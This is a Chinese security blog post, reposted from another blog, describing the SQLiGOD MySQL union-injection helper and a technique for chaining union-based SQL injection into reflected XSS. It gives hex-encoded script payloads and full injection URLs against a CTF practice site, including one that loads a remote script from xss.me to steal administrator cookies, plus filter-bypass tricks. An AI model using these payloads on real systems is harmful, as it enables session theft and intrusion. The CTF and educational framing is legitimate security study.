最新消息:

从SQLiGOD到XSS

xss admin 1001浏览 0评论

SQLiGOD的详细介绍可以参考:MYSQLi小助手——SQLiGODS(联合查询回显)

转自:http://blog.sycsec.com/?p=505

0×00 前言
之前一两个月 国外好像发了一个叫做SQLiGOD的东西 感觉有点6 所以就去研究了一下 然后还用来出在了sctf的一道题里面

0×01 SQLiGOD
SQLiGOD是国外的MakMan写的 用来辅助mysql注入的一个东西 其实本质是一段concat函数
本质是利用mysql中的union回显来构成一个html代码的操作 方便了注入的过程
出来有段时间了 之前kuuki牛发到drop没过 就发zone了 在zone里有一些简单的介绍,使用方法参考:http://www.jinglingshu.org/?p=9637。

其实原理就是 利用了information_schema中的信息和html相互结合 来达到自动化的目的 可以加速sql查询的速度
他的缺点也是很明显的 适用的范围比较小 只有在mysql才可以 版本为5以上 才有information_schema 并且注入的类型需要是union回显的类型
在遇到一些过滤字符的时候 可以对这个脚本进行一些修改 比如过滤了空格之类的 可以替换成/**/等等 来达到绕过的目的

0x02 由SQLiGOD引发的联想
但是 看到了这个工具之后 没事的时候就在想阿想 洗澡的时候也在想阿想 然后想到了一种利用的方法
就是 利用union的回显来构造js语句 来达到xss的目的 相当于一个反射型的xss
在某些极端的环境下 可能会有用处 比如我想到一种情景
在用过union注入达到了后台管理员的账号和密码 之后 却没找到后台 这个时候 要能给管理员发个xss过去 说不定就有机会获得后台的url之类的
下面是一些实验
先用python一下

>>> '<script>alert("appleu0")</script>'.encode('hex')
'3c7363726970743e616c65727428226170706c65753022293c2f7363726970743e'

然后构造个url
http://hacklist.sinaapp.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1%20and%201=2%20union%20select%201,2,0x3c7363726970743e616c65727428226170706c65753022293c2f7363726970743e
比如像这个样子的
就能弹框框

>>> '<script src="http://xss.me/1.js"></script>'.encode('hex')
'3c736372697074207372633d22687474703a2f2f7873732e6d652f312e6a73223e3c2f7363726970743e'

http://hacklist.sinaapp.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1%20and%201=2%20union%20select%201,2,0x3c736372697074207372633d22687474703a2f2f7873732e6d652f312e6a73223e3c2f7363726970743e
然后用xss平台获取cookie 获取后台的url就可以了

0x03 sctf中的一步
sctf里我也用到了这个技巧 所以就把文章延后发了去(其实就是拖延症犯了)
sctf 中的pt400里的一步就用到了这个技巧
idc.sycsec.com 有一个简单的注入 简单做了一下过滤 过滤了空格 用%0a就可以绕过 比较简单
注入比较简单 获取了账号密码之后 发现还有一个bug提交的页面
这个比较需要想象力 比赛到后期给了一个提示SQLi->XSS
然后就构造出了可以打cookie的url
获取一下后台的url就可以登陆了
平台都关了 就没图了

ps:作者的思路就是可以通过联合注入来构造反射性xss,即存在联合注入的页面同样会存在反射性xss。通常情况下,注入的危害程度远高于反射性xss,因此在存在联合注入的页面去构造反射性xss;但是在特殊情况下,如管理员密码破解不了等,可以通过在存在联合注入的页面构造xss来进行尝试,也算是渗透中的一种思路。

转载请注明:jinglingshu的博客 » 从SQLiGOD到XSS


Warning: Use of undefined constant PRC - assumed 'PRC' (this will throw an Error in a future version of PHP) in /usr/share/nginx/html/wp-content/themes/d8/comments.php on line 17
发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址